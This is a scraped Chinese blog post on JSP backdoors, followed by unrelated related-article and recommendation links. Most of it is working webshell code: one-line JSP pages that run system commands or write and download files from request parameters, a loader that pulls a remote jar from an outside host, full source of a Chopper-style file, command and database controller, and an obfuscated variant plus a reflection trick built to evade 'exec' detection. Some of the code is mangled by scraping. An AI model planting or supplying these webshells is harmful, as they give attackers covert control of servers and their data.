jsp小后门

一：执行系统命令:

无回显执行系统命令：

1	`<%Runtime.getRuntime().exec(request.getParameter("i"));%>`

请求：http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls 执行之后不会有任何回显，用来反弹个shell很方便。 有回显带密码验证的:

<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("

<pre>");

while((a=in.read(b))!=-1){

out.println(new String(b,0,a));

}

out.print("</pre>

");

}

%>

请求：http://192.168.16.240:8080/Shell/cmd2.jsp?pwd=023&i=ls

二、把字符串编码后写入指定文件的：

1	`<%new` `java.io.FileOutputStream(request.getParameter("f")).write(request.getParameter("c").getBytes());%>`

请求：http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 写入web目录：

1	`<%new` `java.io.FileOutputStream(application.getRealPath("/")+"/"+request.getParameter("f")).write(request.getParameter("c").getBytes());%>`

请求：http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 2:

1	`<%new` `java.io.RandomAccessFile(request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %>`

请求：http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 写入web目录:

1	`<%new` `java.io.RandomAccessFile(application.getRealPath("/")+"/"+request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %>`

请求：http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 三：下载远程文件(不用apache io utils的话没办法把inputstream转byte,所以很长...)

<% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream(); byte[] b = new byte[1024]; java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); int a = -1; while ((a = in.read(b)) != -1) { baos.write(b, 0, a); } new java.io.FileOutputStream(request.getParameter("f")).write(baos.toByteArray()); %>

请求：http://localhost:8080/Shell/download.jsp?f=/Users/yz/wwwroot/1.png&u=http://www.baidu.com/img/bdlogo.png

下载到web路径:

<% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream(); byte[] b = new byte[1024]; java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); int a = -1; while ((a = in.read(b)) != -1) { baos.write(b, 0, a); } new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray()); %>

请求：http://localhost:8080/Shell/download.jsp?f=1.png&u=http://www.baidu.com/img/bdlogo.png

四：反射调用外部jar,完美后门

如果嫌弃上面的后门功能太弱太陈旧可以试试这个：

1	`<%=Class.forName("Load",true,new` `java.net.URLClassLoader(new` `java.net.URL[]{new` `java.net.URL(request.getParameter("u"))})).getMethods()[0].invoke(null,` `new` `Object[]{request.getParameterMap()})%>`

请求：http://192.168.16.240:8080/Shell/reflect.jsp?u=http://javaweb.org/Cat.jar&023=A 菜刀连接：http://192.168.16.240:8080/Shell/reflect.jsp?u=http://javaweb.org/Cat.jar，密码023. 解：利用反射加载一个外部的jar到当前应用，反射执行输出处理结果。request.getParameterMap()包含了请求的所有参数。由于加载的是外部的jar包，所以要求服务器必须能访问到这个jar地址。下载：Cat.jar Load代码：

import java.io.IOException;

import java.util.HashMap;

import java.util.Map;

import java.util.Map.Entry;

/*

* To change this license header, choose License Headers in Project Properties.

* To change this template file, choose Tools | Templates

* and open the template in the editor.

*/

/**

*

* @author yz

*/

public class Load {

public static String load(Map<string,string[]> map){

try {

Map<string,string> request = new HashMap<string,string>();

for (Entry<string, string[]=""> entrySet : map.entrySet()) {

String key = entrySet.getKey();

String value = entrySet.getValue()[0];

request.put(key, value);

}

return new Chopper().doPost(request);

} catch (IOException ex) {

return ex.toString();

}

}</string,></string,string></string,string></string,string[]>

Chopper代码：

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

import java.io.BufferedInputStream;

import java.io.BufferedReader;

import java.io.BufferedWriter;

import java.io.ByteArrayOutputStream;

import java.io.File;

import java.io.FileInputStream;

import java.io.FileOutputStream;

import java.io.IOException;

import java.io.InputStream;

import java.io.InputStreamReader;

import java.io.OutputStreamWriter;

import java.lang.reflect.Method;

import java.net.HttpURLConnection;

import java.net.URL;

import java.net.URLClassLoader;

import java.sql.Connection;

import java.sql.DriverManager;

import java.sql.ResultSet;

import java.sql.ResultSetMetaData;

import java.sql.Statement;

import java.text.SimpleDateFormat;

import java.util.Date;

import java.util.Map;

public class Chopper{

public static String getPassword() throws IOException {

return "023";

}

String cs = "UTF-8";

String encoding(String s) throws Exception {

return new String(s.getBytes("ISO-8859-1"), cs);

}

Connection getConnection(String s) throws Exception {

String[] x = s.trim().split("\r\n");

try {

Class.forName(x[0].trim());

} catch (ClassNotFoundException e) {

boolean classNotFound = true;

BufferedReader br = new BufferedReader(new InputStreamReader(this.getClass().getResourceAsStream("/map.txt")));

String str = "";

while ((str = br.readLine()) != null) {

String[] arr = str.split("=");

if (arr.length == 2 && arr[0].trim().equals(x[0].trim())) {

try {

URLClassLoader ucl = (URLClassLoader) ClassLoader.getSystemClassLoader();

Method m = URLClassLoader.class.getDeclaredMethod("addURL", URL.class);

m.setAccessible(true);

m.invoke(ucl, new Object[]{new URL(arr[1])});

Class.forName(arr[0].trim());

classNotFound = false;

break;

} catch (ClassNotFoundException ex) {

throw ex;

}

if (classNotFound) {

throw e;

}

if (x[1].contains("jdbc:oracle")) {

return DriverManager.getConnection(x[1].trim() + ":" + x[4],

x[2].equalsIgnoreCase("[/null]") ? "" : x[2],

x[3].equalsIgnoreCase("[/null]") ? "" : x[3]);

} else {

Connection c = DriverManager.getConnection(x[1].trim(),

x[2].equalsIgnoreCase("[/null]") ? "" : x[2],

x[3].equalsIgnoreCase("[/null]") ? "" : x[3]);

if (x.length > 4) {

c.setCatalog(x[4]);

}

return c;

}

void listRoots(ByteArrayOutputStream out) throws Exception {

File r[] = File.listRoots();

for (File f : r) {

out.write((f.getName()).getBytes(cs));

}

void dir(String s, ByteArrayOutputStream out) throws Exception {

File l[] = new File(s).listFiles();

for (File f : l) {

String mt = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date(f.lastModified()));

String rw = f.canRead() ? "R" : "" + (f.canWrite() ? " W" : "");

out.write((f.getName() + (f.isDirectory() ? "/" : "") + "\t" + mt + "\t" + f.length() + "\t" + rw + "\n").getBytes(cs));

}

void deleteFiles(File f) throws Exception {

if (f.isDirectory()) {

File x[] = f.listFiles();

for (File fs : x) {

deleteFiles(fs);

}

f.delete();

}

byte[] readFile(String s) throws Exception {

int n;

byte[] b = new byte[1024];

BufferedInputStream bis = new BufferedInputStream(new FileInputStream(s));

ByteArrayOutputStream bos = new ByteArrayOutputStream();

while ((n = bis.read(b)) != -1) {

bos.write(b, 0, n);

}

bis.close();

return bos.toByteArray();

}

void upload(String s, String d) throws Exception {

String h = "0123456789ABCDEF";

File f = new File(s);

f.createNewFile();

FileOutputStream os = new FileOutputStream(f);

for (int i = 0; i < d.length(); i += 2) { os.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d.charAt(i + 1)))); } os.close(); } void filesMove(File sf, File df) throws Exception { if (sf.isDirectory()) { if (!df.exists()) { df.mkdir(); } File z[] = sf.listFiles(); for (File z1 : z) { filesMove(new File(sf, z1.getName()), new File(df, z1.getName())); } } else { FileInputStream is = new FileInputStream(sf); FileOutputStream os = new FileOutputStream(df); int n; byte[] b = new byte[1024]; while ((n = is.read(b)) != -1) { os.write(b, 0, n); } is.close(); os.close(); } } void fileMove(File s, File d) throws Exception { s.renameTo(d); } void mkdir(File s) throws Exception { s.mkdir(); } void setLastModified(File s, String t) throws Exception { s.setLastModified(new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").parse(t).getTime()); } void downloadRemoteFile(String s, String d) throws Exception { int n = 0; FileOutputStream os = new FileOutputStream(d); HttpURLConnection h = (HttpURLConnection) new URL(s).openConnection(); InputStream is = h.getInputStream(); byte[] b = new byte[1024]; while ((n = is.read(b)) != -1) { os.write(b, 0, n); } os.close(); is.close(); h.disconnect(); } void inputStreamToOutPutStream(InputStream is, ByteArrayOutputStream out) throws Exception { int i = -1; byte[] b = new byte[1024]; while ((i = is.read(b)) != -1) { out.write(b, 0, i); } } void getCurrentDB(String s, ByteArrayOutputStream out) throws Exception { Connection c = getConnection(s); ResultSet r = s.contains("jdbc:oracle") ? c.getMetaData().getSchemas() : c.getMetaData().getCatalogs(); while (r.next()) { out.write((r.getObject(1) + "\t").getBytes(cs)); } r.close(); c.close(); } void getTableName(String s, ByteArrayOutputStream out) throws Exception { Connection c = getConnection(s); String[] x = s.trim().split("\r\n"); ResultSet r = c.getMetaData().getTables(null, s.contains("jdbc:oracle") ? x.length > 5 ? x[5] : x[4] : null, "%", new String[]{"TABLE"});

while (r.next()) {

out.write((r.getObject("TABLE_NAME") + "\t").getBytes(cs));

}

r.close();

c.close();

}

void getTableColumn(String s, ByteArrayOutputStream out) throws Exception {

String[] x = s.trim().split("\r\n");

Connection c = getConnection(s);

ResultSet r = c.prepareStatement("select * from " + x[x.length - 1]).executeQuery();

ResultSetMetaData d = r.getMetaData();

for (int i = 1; i <= d.getColumnCount(); i++) { out.write((d.getColumnName(i) + " (" + d.getColumnTypeName(i) + ")\t").getBytes(cs)); } r.close(); c.close(); } void executeQuery(String cs, String s, String q, ByteArrayOutputStream out, String p) throws Exception { Connection c = getConnection(s); Statement m = c.createStatement(1005, 1008); BufferedWriter bw = null; try { boolean f = q.contains("--f:"); ResultSet r = m.executeQuery(f ? q.substring(0, q.indexOf("--f:")) : q); ResultSetMetaData d = r.getMetaData(); int n = d.getColumnCount(); for (int i = 1; i <= n; i++) { out.write((d.getColumnName(i) + "\t|\t").getBytes(cs)); } out.write(("\r\n").getBytes(cs)); if (f) { File file = new File(p); if (!q.contains("-to:")) { file.mkdir(); } bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(q.contains("-to:") ? p.trim() : p + q.substring(q.indexOf("--f:") + 4, q.length()).trim()), true), cs)); } while (r.next()) { for (int i = 1; i <= n; i++) { if (f) { bw.write(r.getObject(i) + "" + "\t"); bw.flush(); } else { out.write((r.getObject(i) + "" + "\t|\t").getBytes(cs)); } } if (bw != null) { bw.newLine(); } out.write(("\r\n").getBytes(cs)); } r.close(); if (bw != null) { bw.close(); } } catch (Exception e) { out.write(("Result\t|\t\r\n").getBytes(cs)); try { m.executeUpdate(q); out.write(("Execute Successfully!\t|\t\r\n").getBytes(cs)); } catch (Exception ee) { out.write((ee.toString() + "\t|\t\r\n").getBytes(cs)); } } m.close(); c.close(); } public String doPost(Map<string,string>request) throws IOException {

cs = request.get("z0") != null ? request.get("z0") + "" : cs;

ByteArrayOutputStream out = new ByteArrayOutputStream();

try {

char z = (char) request.get(getPassword()).getBytes()[0];

String z1 = encoding(request.get("z1") + "");

String z2 = encoding(request.get("z2") + "");

out.write("->|".getBytes(cs));

String s = new File("").getCanonicalPath();

byte[] returnTrue = "1".getBytes(cs);

switch (z) {

case 'A':

out.write((s + "\t").getBytes(cs));

if (!s.substring(0, 1).equals("/")) {

listRoots(out);

}

break;

case 'B':

dir(z1, out);

break;

case 'C':

String l = "";

BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));

while ((l = br.readLine()) != null) {

out.write((l + "\r\n").getBytes(cs));

}

br.close();

break;

case 'D':

BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));

bw.write(z2);

bw.flush();

bw.close();

out.write(returnTrue);

break;

case 'E':

deleteFiles(new File(z1));

out.write("1".getBytes(cs));

break;

case 'F':

out.write(readFile(z1));

case 'G':

upload(z1, z2);

out.write(returnTrue);

break;

case 'H':

filesMove(new File(z1), new File(z2));

out.write(returnTrue);

break;

case 'I':

fileMove(new File(z1), new File(z2));

out.write(returnTrue);

break;

case 'J':

mkdir(new File(z1));

out.write(returnTrue);

break;

case 'K':

setLastModified(new File(z1), z2);

out.write(returnTrue);

break;

case 'L':

downloadRemoteFile(z1, z2);

out.write(returnTrue);

break;

case 'M':

String[] c = {z1.substring(2), z1.substring(0, 2), z2};

Process p = Runtime.getRuntime().exec(c);

inputStreamToOutPutStream(p.getInputStream(), out);

inputStreamToOutPutStream(p.getErrorStream(), out);

break;

case 'N':

getCurrentDB(z1, out);

break;

case 'O':

getTableName(z1, out);

break;

case 'P':

getTableColumn(z1, out);

break;

case 'Q':

executeQuery(cs, z1, z2, out, z2.contains("-to:") ? z2.substring(z2.indexOf("-to:") + 4, z2.length()) : s.replaceAll("\\\\", "/") + "images/");

break;

}

} catch (Exception e) {

out.write(("ERROR" + ":// " + e.toString()).getBytes(cs));

}

out.write(("|<-").getBytes(cs)); return new String(out.toByteArray()); } }</string,string>

map.txt:

oracle.jdbc.driver.OracleDriver=http://javaweb.org/jdbc/classes12.jar

com.mysql.jdbc.Driver=http://javaweb.org/jdbc/mysql-connector-java-5.1.14-bin.jar

com.microsoft.jdbc.sqlserver.SQLServerDriver=http:

//javaweb.org/jdbc/sqlserver2000/msbase.jar,http://javaweb.org/jdbc/sqlserver2000/mssqlserver.jar,http://javaweb.org/jdbc/sqlserver2000/msutil.jar

com.microsoft.sqlserver.jdbc.SQLServerDriver=http://javaweb.org/jdbc/sqljdbc4.jar

com.ibm.db2.jcc.DB2Driver=http://javaweb.org/jdbc/db2java.jar

com.informix.jdbc.IfxDriver=http://javaweb.org/jdbc/ifxjdbc.jar

com.sybase.jdbc3.jdbc.SybDriver=http://javaweb.org/jdbc/jconn3d.jar

org.postgresql.Driver=http://javaweb.org/jdbc/postgresql-9.2-1003.jdbc4.jar

com.ncr.teradata.TeraDriver=http://javaweb.org/jdbc/teradata-jdbc4-14.00.00.04.jar

com.hxtt.sql.access.AccessDriver=http://javaweb.org/jdbc/Access_JDBC30.jar

org.apache.derby.jdbc.ClientDriver=http://javaweb.org/jdbc/derby.jar

org.hsqldb.jdbcDriver=http://javaweb.org/jdbc/hsqldb.jar

net.sourceforge.jtds.jdbc.Driver=http://javaweb.org/jdbc/jtds-1.2.5.jar

mongodb=http://javaweb.org/jdbc/mongo-java-driver-2.9.3.jar

无任何命令执行关键字的cmd.zip

<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">

<jsp:directive.page contentType="text/html" pageEncoding="UTF-8"/>

<jsp:scriptlet>

Class<?> api = String.class.getClass().forName(new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101}));

Object obj2 = api.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class).invoke(api.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101})).invoke(null, new Object[]{}), new Object[]{request.getParameter("str")});

java.lang.reflect.Method m = obj2.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109}));

m.setAccessible(true);

java.util.Scanner s = new java.util.Scanner((java.io.InputStream) m.invoke(obj2, new Object[]{})).useDelimiter("\\A");

out.write("<pre>" + (s.hasNext() ? s.next() : "") + "</pre>");

</jsp:scriptlet>

</jsp:root>

绕过exec关键字很简单，如果是纯代码检测用这个无任何命令执行关键字的命令执行jspx(参数str): cmd.jspx.zip 如果是语言层拦截了exec，那么可以通过反射java.lang.UNIXProcess类实现执行任意的命令。示例代码如下:

Class clazz = Class.forName("java.lang.ProcessImpl");

Constructor constructor = clazz.getDeclaredConstructors()[0];

constructor.setAccessible(true);

Process process = (Process) constructor.newInstance(

toCString(cmdarray[0]), argBlock, args.length,

null, envc[0], null, std_fds, false

);

如果不会写，自己参考"UNIXProcess.java"的代码就可以了。

jsp小后门的更多相关文章

Web前端开发：SQL Jsp小项目（一）
Jsp的学习算是告一段落,针对这段时间的学习,写了一个Jsp小项目来巩固学到的知识. 框架示意图 User list process UserAdd process 需要的界面效果: 需要工具:Ecl ...
JSP文件管理后门工具jsp-file-browser
JSP文件管理后门工具jsp-file-browser 在网页后门中,快速浏览服务器文件非常重要.为此,Kali Linux新增了一款JSP后门工具jsp-file-browser.该工具提供所有 ...
jsp小商城
一个小商城,当然,没淘宝那么厉害,只是那时学完j2ee后,发现java原来也可以做网站,学了数据库,servlet,jsp,当时是很惊喜的,可以直接做个这样的东西.而放到今天,学了更多之后,发现可以用 ...
jsp小测试--猜大小
page1.jpg: <%@ page language="java" import="java.util.*" pageEncoding="g ...
JSP小例子——实现用户登录小例子（不涉及DB操作）
实现用户登录小例子用户名和密码都为"admin",登陆成功使用服务器内部转发到login_success.jsp页面,并且提示登陆成功的用户名.如果登陆失败则请求重定向到login ...
Web前端开发：SQL Jsp小项目（二）------添加修改
沿着昨天整理好的页面,今天实现list页面中的修改, User update框架需要的效果图: 先看用户查询界面, 修改id为4的那个用户: 修改后返回用户查看界面. 1 .先是从list界面开始, ...
JSP小实例--计算器
package cn.com.caculate; import java.math.BigDecimal; public class caculate { private String firstNu ...
无框架JavaWeb简单增删改查,纯 jsp小练习
地址 : 纯本人手码 jsp练习>>>>>
jsp小基础归纳
JSP的本质就是一个Servlet,JSP的运行之前会先被Tomcat服务器翻译为.java文件,然后在将.java文本编译为.class文件,而我们在访问jsp时,处理请求的就是那个翻译后的类. 1 ...

随机推荐

android studio生成aar包并在其他工程引用aar包
1.aar包是android studio下打包android工程中src.res.lib后生成的aar文件,aar包导入其他android studio 工程后,其他工程可以方便引用源码和资源文件 ...
SpringMVC源码阅读：Json，Xml自动转换
1.前言 SpringMVC是目前J2EE平台的主流Web框架,不熟悉的园友可以看SpringMVC源码阅读入门,它交代了SpringMVC的基础知识和源码阅读的技巧本文将通过源码(基于Spring ...
chrome 等浏览器不支持本地ajax请求的问题
chrome 等浏览器不支持本地ajax请求的问题 XMLHttpRequest cannot load file:///D:/WWW/angularlx/ui-router-test/templat ...
Centos系统下卸载、安装MySQL及用户的创建、授权和使用（详细。。。。）
由于经常使用linux系统,并且大数据环境搭建中经常会使用到mysql,不像windows系统下的安装,今天有点空写一篇,下面我给大家演示一遍. 主要有三部分内容: 1.MySQL的卸载 2.MySQ ...
hdu 4090
GemAnd Prince Time Limit: 10000/5000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/Others)To ...
重构一段基于原生JavaScript的表格绘制代码
为了在CardSimulate项目中方便的显示技能和效果列表,决定重构以前编写的一段JavaScript代码——att表格绘制库,这段代码的作用是将特定的JavaScript数据对象转化为表格,支持精 ...
0<Double.MIN_VALUE
好吧, 吐嘈一下: 前几天写代码时发现 Double 有几个静态成员变量, 如 MAX_VALUE , MIN_VALUE 等, 当时就自己"故名思意"了, 分别当成了 doubl ...
BZOJ3672: [Noi2014]购票(dp 斜率优化点分治二分凸包)
题意题目链接 Sol 介绍一种神奇的点分治的做法啥?这都有根树了怎么点分治?? 嘿嘿,这道题的点分治不同于一般的点分治.正常的点分治思路大概是先统计过重心的,再递归下去实际上一般的点分治与统计顺 ...
Django基础十之Form和ModelForm组件
一 Form介绍我们之前在HTML页面中利用form表单向后端提交数据时,都会写一些获取用户输入的标签并且用form标签把它们包起来. 与此同时我们在好多场景下都需要对用户的输入做校验,比如校验用户 ...
导航栏布局时遇到的问题以及解决办法 css选择器优先级
得到的导航栏效果添加#menu ul li{width:30px;} 效果如图将会使列表项和分隔区域的宽度同时改变因为id选择器的优先级高于类选择器,此时应该为列表项添加内联样式如图才能得到如下 ...

jsp小后门

jsp小后门的更多相关文章

随机推荐

热门专题